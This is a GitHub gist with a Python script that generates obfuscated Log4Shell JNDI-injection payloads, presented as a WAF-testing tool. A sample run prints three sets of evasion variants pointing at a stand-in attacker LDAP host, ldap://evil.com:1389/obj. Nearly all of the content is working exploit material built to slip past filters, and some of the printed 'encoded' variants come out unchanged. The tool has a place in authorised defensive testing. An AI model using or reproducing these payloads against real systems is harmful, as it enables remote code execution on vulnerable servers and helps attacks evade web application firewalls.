Created
September 15, 2025 14:23
-
-
Save incogbyte/ec59002878cc68fbf8b49fd517f6d8e9 to your computer and use it in GitHub Desktop.
A tool to generate log4j payloads for JNDI injection for testing WAFs.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| A tool to generate log4j payloads for JNDI injection for testing WAFs. | |
| Author: incogbyte | |
| """ | |
| import random | |
| import string | |
| import argparse | |
| import urllib.parse | |
| class Utils: | |
| @staticmethod | |
| def get_random_number(min_val, max_val): | |
| return random.randint(min_val, max_val) | |
| @staticmethod | |
| def get_random_boolean(): | |
| return random.randint(0, 100) > 50 | |
| @staticmethod | |
| def get_random_string(length): | |
| chars = string.ascii_letters | |
| return ''.join(random.choice(chars) for _ in range(length)) | |
| class StringObfuscator1: | |
| def obfuscate_string(self, target_string, is_all=False): | |
| result = [] | |
| for i, char in enumerate(target_string): | |
| if char in ['$', '{', '}', ':']: | |
| whether_obfuscate = False | |
| elif is_all: | |
| whether_obfuscate = True | |
| else: | |
| whether_obfuscate = Utils.get_random_boolean() | |
| if whether_obfuscate: | |
| if i == 0: | |
| result.append(self._obfuscate_top_char(char)) | |
| else: | |
| result.append(self._obfuscate_char(char)) | |
| else: | |
| result.append(char) | |
| return ''.join(result) | |
| def _obfuscate_top_char(self, char): | |
| return f"${{upper:{char}}}" | |
| def _obfuscate_char(self, char): | |
| return f"${{lower:{char}}}" | |
| class StringObfuscator2: | |
| def obfuscate_string(self, target_string, is_all=False): | |
| result = [] | |
| for char in target_string: | |
| if char in ['$', '{', '}', ':']: | |
| whether_obfuscate = False | |
| elif is_all: | |
| whether_obfuscate = True | |
| else: | |
| whether_obfuscate = Utils.get_random_boolean() | |
| if whether_obfuscate: | |
| result.append(self._obfuscate_char(char)) | |
| else: | |
| result.append(char) | |
| return ''.join(result) | |
| def _obfuscate_char(self, char): | |
| garbage_count = Utils.get_random_number(1, 5) | |
| garbage_parts = [] | |
| for _ in range(garbage_count): | |
| garbage_length = Utils.get_random_number(1, 6) | |
| garbage_word = Utils.get_random_string(garbage_length) | |
| garbage_parts.append(garbage_word) | |
| garbage = ':'.join(garbage_parts) | |
| return f"${{{garbage}:-{char}}}" | |
| class StringObfuscator3: | |
| def obfuscate_string(self, target_string, is_all=False): | |
| result = [] | |
| for i, char in enumerate(target_string): | |
| if char in ['$', '{', '}', ':']: | |
| whether_obfuscate = False | |
| elif is_all: | |
| whether_obfuscate = True | |
| else: | |
| whether_obfuscate = Utils.get_random_boolean() | |
| if whether_obfuscate: | |
| result.append(self._obfuscate_char(char)) | |
| else: | |
| result.append(char) | |
| return ''.join(result) | |
| def _obfuscate_char(self, char): | |
| encoded = urllib.parse.quote(char) | |
| return encoded | |
| class StringObfuscator4: | |
| def obfuscate_string(self, target_string, is_all=False): | |
| result = [] | |
| for i, char in enumerate(target_string): | |
| if char in ['$', '{', '}', ':']: | |
| whether_obfuscate = False | |
| elif is_all: | |
| whether_obfuscate = True | |
| else: | |
| whether_obfuscate = Utils.get_random_boolean() | |
| if whether_obfuscate: | |
| result.append(self._obfuscate_char(char)) | |
| else: | |
| result.append(char) | |
| return ''.join(result) | |
| def _obfuscate_char(self, char): | |
| unicode_code = ord(char) | |
| return f"\\u{unicode_code:04x}" | |
| class StringObfuscator5: | |
| def obfuscate_string(self, target_string, is_all=False): | |
| if target_string.startswith("jndi:"): | |
| jndi_address = target_string[5:] | |
| else: | |
| jndi_address = target_string | |
| if "://" in jndi_address: | |
| parts = jndi_address.split("://") | |
| if len(parts) == 2: | |
| protocol = parts[0] | |
| rest = parts[1] | |
| if "/" in rest: | |
| domain_path = rest.split("/", 1) | |
| domain = domain_path[0] | |
| path = domain_path[1] if len(domain_path) > 1 else "" | |
| obfuscated = f"jndi:{protocol}://{domain}#google.com/{path}" | |
| return obfuscated | |
| return f"jndi:{jndi_address}" | |
| class StringObfuscator6: | |
| def obfuscate_string(self, target_string, is_all=False): | |
| if target_string.startswith("jndi:"): | |
| jndi_address = target_string[5:] | |
| else: | |
| jndi_address = target_string | |
| json_payload = f'{{\n "one-${{jnd${{a":"a:-i}}:ld${{",\n "two":"o:-a}}}}p://{jndi_address}}}\n}}' | |
| return json_payload | |
| class StringObfuscator7: | |
| def obfuscate_string(self, target_string, is_all=False): | |
| if target_string.startswith("jndi:"): | |
| jndi_address = target_string[5:] | |
| else: | |
| jndi_address = target_string | |
| obfuscated = "${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:" + jndi_address + "}" | |
| return obfuscated | |
| class StringObfuscator8: | |
| def obfuscate_string(self, target_string, is_all=False): | |
| html_encoded = target_string.replace("}", "%7D").replace("{", "%7B").replace("$", "%24") | |
| return f"${{{html_encoded}}}" | |
| class StringObfuscator9: | |
| def obfuscate_string(self, target_string, is_all=False): | |
| if target_string.startswith("jndi:"): | |
| jndi_address = target_string[5:] | |
| else: | |
| jndi_address = target_string | |
| obfuscated = "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:" + jndi_address + "}" | |
| return obfuscated | |
| class StringObfuscator10: | |
| def obfuscate_string(self, target_string, is_all=False): | |
| if target_string.startswith("jndi:"): | |
| jndi_address = target_string[5:] | |
| else: | |
| jndi_address = target_string | |
| obfuscated = "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:" + jndi_address + "}" | |
| return obfuscated | |
| def generate_payloads(jndi_address, use_unicode=False): | |
| tmp_payload = f"jndi:{jndi_address}" | |
| obfuscator1 = StringObfuscator1() | |
| obfuscator2 = StringObfuscator2() | |
| obfuscator3 = StringObfuscator3() | |
| obfuscator4 = StringObfuscator4() | |
| obfuscator5 = StringObfuscator5() | |
| obfuscator6 = StringObfuscator6() | |
| obfuscator7 = StringObfuscator7() | |
| obfuscator8 = StringObfuscator8() | |
| obfuscator9 = StringObfuscator9() | |
| obfuscator10 = StringObfuscator10() | |
| payloads = {} | |
| payloads['raw'] = f"${{{tmp_payload}}}" | |
| payloads['upper_lower_random'] = f"${{{obfuscator1.obfuscate_string(tmp_payload, False)}}}" | |
| payloads['upper_lower_full'] = f"${{{obfuscator1.obfuscate_string(tmp_payload, True)}}}" | |
| payloads['garbage_random'] = f"${{{obfuscator2.obfuscate_string(tmp_payload, False)}}}" | |
| payloads['garbage_full'] = f"${{{obfuscator2.obfuscate_string(tmp_payload, True)}}}" | |
| payloads['urlencode_random'] = f"${{{obfuscator3.obfuscate_string(tmp_payload, False)}}}" | |
| payloads['urlencode_full'] = f"${{{obfuscator3.obfuscate_string(tmp_payload, True)}}}" | |
| payloads['unicode_random'] = f"${{{obfuscator4.obfuscate_string(tmp_payload, False)}}}" | |
| payloads['unicode_full'] = f"${{{obfuscator4.obfuscate_string(tmp_payload, True)}}}" | |
| payloads['url_fragment'] = f"${{{obfuscator5.obfuscate_string(tmp_payload)}}}" | |
| payloads['polymorphic_json'] = obfuscator6.obfuscate_string(tmp_payload) | |
| payloads['nonexistent_lookup'] = obfuscator7.obfuscate_string(tmp_payload) | |
| payloads['html_url_encoding'] = obfuscator8.obfuscate_string(tmp_payload) | |
| payloads['date_based'] = obfuscator9.obfuscate_string(tmp_payload) | |
| payloads['colon_dash_notation'] = obfuscator10.obfuscate_string(tmp_payload) | |
| if use_unicode: | |
| unicode_payloads = {} | |
| for key, payload in payloads.items(): | |
| unicode_payloads[key] = payload.encode('unicode_escape').decode('ascii') | |
| return unicode_payloads | |
| return payloads | |
| def main(): | |
| parser = argparse.ArgumentParser(description='Log4j Payload Generator for WAF testing') | |
| parser.add_argument('--jndi', '-j', | |
| default='ldap://127.0.0.1:1099/obj', | |
| help='JNDI address (default: ldap://127.0.0.1:1099/obj)') | |
| parser.add_argument('--count', '-c', type=int, default=1, | |
| help='Number of payloads of each type to generate (default: 1)') | |
| parser.add_argument('--output', '-o', choices=['console', 'file'], default='console', | |
| help='Output: console or file (default: console)') | |
| parser.add_argument('--filename', '-f', default='log4j_payloads.txt', | |
| help='Output filename (default: log4j_payloads.txt)') | |
| parser.add_argument('--unicode', '-u', action='store_true', | |
| help='Output payloads in Unicode escape format') | |
| args = parser.parse_args() | |
| all_payloads = [] | |
| for i in range(args.count): | |
| print(f"\n=== Payload Set #{i+1} ===") | |
| payloads = generate_payloads(args.jndi, args.unicode) | |
| for payload_type, payload in payloads.items(): | |
| description = { | |
| 'raw': 'Raw Payload', | |
| 'upper_lower_random': '{upper|lower:x} Random Obfuscation', | |
| 'upper_lower_full': '{upper|lower:x} Full Obfuscation', | |
| 'garbage_random': '{::-n} Random Obfuscation', | |
| 'garbage_full': '{::-n} Full Obfuscation', | |
| 'urlencode_random': 'URL Encoding Random Obfuscation', | |
| 'urlencode_full': 'URL Encoding Full Obfuscation', | |
| 'unicode_random': 'Unicode Encoding Random Obfuscation', | |
| 'unicode_full': 'Unicode Encoding Full Obfuscation', | |
| 'url_fragment': 'URL Fragment Technique', | |
| 'polymorphic_json': 'Polymorphic JSON REST API Request', | |
| 'nonexistent_lookup': 'Non-existent Lookup', | |
| 'html_url_encoding': 'HTML URL Encoding', | |
| 'date_based': 'Date-based Technique', | |
| 'colon_dash_notation': ':- Notation Technique' | |
| } | |
| print(f"\n{description[payload_type]}:") | |
| print(payload) | |
| all_payloads.append(f"# {description[payload_type]}") | |
| all_payloads.append(payload) | |
| all_payloads.append("") | |
| if args.output == 'file': | |
| with open(args.filename, 'w', encoding='utf-8') as f: | |
| f.write('\n'.join(all_payloads)) | |
| print(f"\nPayloads saved to: {args.filename}") | |
| if __name__ == "__main__": | |
| main() |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
USAGE: python3 log4j_payload_generator.py --jndi "ldap://evil.com:1389/obj" --count 3
=== Payload Set #1 ===
Raw Payload:
${jndi:ldap://evil.com:1389/obj}
{upper|lower:x} Random Obfuscation:
${${upper:j}${lower:n}${lower:d}${lower:i}:lda${lower:p}:${lower:/}${lower:/}${lower:e}v${lower:i}l.${lower:c}${lower:o}${lower:m}:1${lower:3}${lower:8}9${lower:/}o${lower:b}j}
{upper|lower:x} Full Obfuscation:
${${upper:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}:${lower:/}${lower:/}${lower:e}${lower:v}${lower:i}${lower:l}${lower:.}${lower:c}${lower:o}${lower:m}:${lower:1}${lower:3}${lower:8}${lower:9}${lower:/}${lower:o}${lower:b}${lower:j}}
{::-n} Random Obfuscation:
${${itqjl:TC:XnUh:tpOsnl:-j}n${E:-d}${O:IiZ:-i}:ldap://${JHJD:VfiK:lnc:eCmJXO:-e}vil${J:vN:Sikgkv:-.}co${tjaLg:WQf:-m}:138${GW:G:ziJG:-9}/${ivY:biMhG:OdQceF:gMMdhI:HKlilY:-o}${WLY:sOi:sah:vx:-b}j}
{::-n} Full Obfuscation:
${${h:GJb:btfgC:-j}${Ye:NRFnGZ:jm:WYTSp:-n}${RnkCt:-d}${hNOB:-i}:${EKE:nFMdkV:-l}${B:oEfVv:Ysv:-d}${vXFq:KWK:-a}${Cc:i:bFV:ACY:-p}:${rGYNK:KXgG:TkLkm:R:MJ:-/}${GMYTpH:E:wa:-/}${lr:-e}${AEf:-v}${qWF:OPrIgB:olaIaJ:-i}${FraI:op:BVujH:rQGdL:-l}${cJtmvm:-.}${luQlCj:XvZIfP:OQnk:-c}${bD:-o}${jZllSW:fKQfL:-m}:${kqWfjb:eLBkd:LsCD:hAhEU:VDq:-1}${h:-3}${zSyL:TfQa:xyRxE:-8}${th:ZJbPbE:-9}${ZbAZSn:kbbg:P:ptqcY:uTIzwf:-/}${rDAxGS:jtUIdP:OhwF:-o}${G:-b}${olGl:Q:hiyfE:JhNdjc:-j}}
URL Encoding Random Obfuscation:
${jndi:ldap://evil.com:1389/obj}
URL Encoding Full Obfuscation:
${jndi:ldap://evil.com:1389/obj}
Unicode Encoding Random Obfuscation:
${\u006a\u006e\u0064\u0069:l\u0064a\u0070:/\u002fe\u0076i\u006c.com:\u0031\u00338\u0039\u002f\u006fb\u006a}
Unicode Encoding Full Obfuscation:
${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070:\u002f\u002f\u0065\u0076\u0069\u006c\u002e\u0063\u006f\u006d:\u0031\u0033\u0038\u0039\u002f\u006f\u0062\u006a}
URL Fragment Technique:
${jndi:ldap://evil.com:1389#google.com/obj}
Polymorphic JSON REST API Request:
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}}p://ldap://evil.com:1389/obj}
}
Non-existent Lookup:
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://evil.com:1389/obj}
HTML URL Encoding:
${jndi:ldap://evil.com:1389/obj}
Date-based Technique:
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://evil.com:1389/obj}
:- Notation Technique:
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://evil.com:1389/obj}
=== Payload Set #2 ===
Raw Payload:
${jndi:ldap://evil.com:1389/obj}
{upper|lower:x} Random Obfuscation:
${${upper:j}${lower:n}di:${lower:l}${lower:d}${lower:a}${lower:p}:/${lower:/}${lower:e}${lower:v}i${lower:l}.${lower:c}${lower:o}${lower:m}:${lower:1}3${lower:8}${lower:9}/${lower:o}b${lower:j}}
{upper|lower:x} Full Obfuscation:
${${upper:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}:${lower:/}${lower:/}${lower:e}${lower:v}${lower:i}${lower:l}${lower:.}${lower:c}${lower:o}${lower:m}:${lower:1}${lower:3}${lower:8}${lower:9}${lower:/}${lower:o}${lower:b}${lower:j}}
{::-n} Random Obfuscation:
${${mZ:-j}n${Rhsk:ZIQ:sAcIoG:tDwynD:bz:-d}${v:Lyy:-i}:${Ahj:BKhd:-l}d${wiepCC:-a}p:${RBlWs:Zdbt:Gl:rm:-/}${IAlUeq:kkO:Zt:XK:-/}e${mv:V:YggJ:uHh:-v}i${dKrAMN:M:SW:-l}${lwYM:YDh:PeqWwk:Mj:WlJEx:-.}${IfSRwJ:EkbQ:WfxPLt:QCwkA:-c}${Vb:-o}m:${xhW:IvN:qxJzQw:-1}38${hVBDw:-9}/ob${FZD:JNRVj:CmZel:G:-j}}
{::-n} Full Obfuscation:
${${bJMwk:Tp:vithmA:mggEH:z:-j}${za:n:-n}${Q:-d}${V:lmUN:P:Q:-i}:${hJsLZ:XVRC:G:bqjGSx:-l}${zrTc:EUOV:MHja:CTM:-d}${J:wIcEj:-a}${xHquoV:bVuWWj:sdcFKD:A:-p}:${qzPtf:ixfHxQ:NO:-/}${nnAXNg:Ysk:DHgt:R:-/}${R:tIRWQ:-e}${taJ:-v}${w:qvTtR:yhuBfV:Dnl:DRj:-i}${n:oRzA:-l}${VVxTz:OTlqlF:Dph:iVxQb:-.}${xyu:kGMI:Qjvlwq:KD:-c}${XY:VBBh:YHbX:Tr:-o}${Fk:-m}:${Y:-1}${jf:I:n:-3}${V:jRs:Ofy:WEK:-8}${Too:-9}${UYOXI:wBOja:Bugexl:-/}${S:-o}${EiDFOu:D:OxqTrO:ENXuS:-b}${pjjMeg:-j}}
URL Encoding Random Obfuscation:
${jndi:ldap://evil.com:1389/obj}
URL Encoding Full Obfuscation:
${jndi:ldap://evil.com:1389/obj}
Unicode Encoding Random Obfuscation:
${jndi:\u006cdap:/\u002fevi\u006c\u002eco\u006d:1\u0033\u0038\u0039\u002f\u006fbj}
Unicode Encoding Full Obfuscation:
${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070:\u002f\u002f\u0065\u0076\u0069\u006c\u002e\u0063\u006f\u006d:\u0031\u0033\u0038\u0039\u002f\u006f\u0062\u006a}
URL Fragment Technique:
${jndi:ldap://evil.com:1389#google.com/obj}
Polymorphic JSON REST API Request:
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}}p://ldap://evil.com:1389/obj}
}
Non-existent Lookup:
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://evil.com:1389/obj}
HTML URL Encoding:
${jndi:ldap://evil.com:1389/obj}
Date-based Technique:
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://evil.com:1389/obj}
:- Notation Technique:
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://evil.com:1389/obj}
=== Payload Set #3 ===
Raw Payload:
${jndi:ldap://evil.com:1389/obj}
{upper|lower:x} Random Obfuscation:
${${upper:j}n${lower:d}${lower:i}:ldap:${lower:/}${lower:/}${lower:e}${lower:v}il.${lower:c}${lower:o}m:13${lower:8}9${lower:/}o${lower:b}j}
{upper|lower:x} Full Obfuscation:
${${upper:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}:${lower:/}${lower:/}${lower:e}${lower:v}${lower:i}${lower:l}${lower:.}${lower:c}${lower:o}${lower:m}:${lower:1}${lower:3}${lower:8}${lower:9}${lower:/}${lower:o}${lower:b}${lower:j}}
{::-n} Random Obfuscation:
${j${OtDuL:Ez:qryADq:js:unWe:-n}${SbblJe:oCHzx:Jj:G:-d}i:${ULoA:-l}${rc:YPoJ:ENuUq:Gl:-d}ap:${uBg:qxgyEq:fFS:-/}/ev${fnU:MXCe:Xu:-i}l.co${sZ:VRPYw:-m}:${zGaOxm:-1}389${AcPO:cPQe:P:-/}${lXr:uMfdaS:jPsHph:ZrQ:-o}b${QxtLkd:-j}}
{::-n} Full Obfuscation:
${${MVaqB:m:-j}${pJwZ:rG:ekTXs:VQQUGW:-n}${v:hx:oewH:P:wdGRL:-d}${YZbI:-i}:${Hdoo:Y:zqbIb:mUujyh:PFFn:-l}${xx:G:-d}${NxEq:GnmJ:a:lK:jIez:-a}${oSy:zXD:-p}:${xAUjcy:-/}${nIJNn:IiLE:-/}${Ij:-e}${WAUlGG:-v}${a:-i}${LXSbD:RJwB:BN:uutOZ:-l}${M:UI:a:tIaOC:nZU:-.}${FazyIB:oY:-c}${GUYxfT:qPX:heJFJ:ysm:kqQ:-o}${uZE:IjUz:HmR:epYzH:ivzuU:-m}:${d:q:noS:b:DkrOak:-1}${b:-3}${mNRu:-8}${VA:qr:-9}${C:v:-/}${M:igG:agAAx:-o}${weLO:Ecna:HEAWUi:ZxJrrV:Wb:-b}${JniMy:re:mqbOvJ:eNyTf:pgzDMJ:-j}}
URL Encoding Random Obfuscation:
${jndi:ldap://evil.com:1389/obj}
URL Encoding Full Obfuscation:
${jndi:ldap://evil.com:1389/obj}
Unicode Encoding Random Obfuscation:
${j\u006e\u0064i:l\u0064ap:/\u002fe\u0076il\u002eco\u006d:\u003138\u0039\u002f\u006fb\u006a}
Unicode Encoding Full Obfuscation:
${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070:\u002f\u002f\u0065\u0076\u0069\u006c\u002e\u0063\u006f\u006d:\u0031\u0033\u0038\u0039\u002f\u006f\u0062\u006a}
URL Fragment Technique:
${jndi:ldap://evil.com:1389#google.com/obj}
Polymorphic JSON REST API Request:
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}}p://ldap://evil.com:1389/obj}
}
Non-existent Lookup:
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://evil.com:1389/obj}
HTML URL Encoding:
${jndi:ldap://evil.com:1389/obj}
Date-based Technique:
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://evil.com:1389/obj}
:- Notation Technique:
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://evil.com:1389/obj}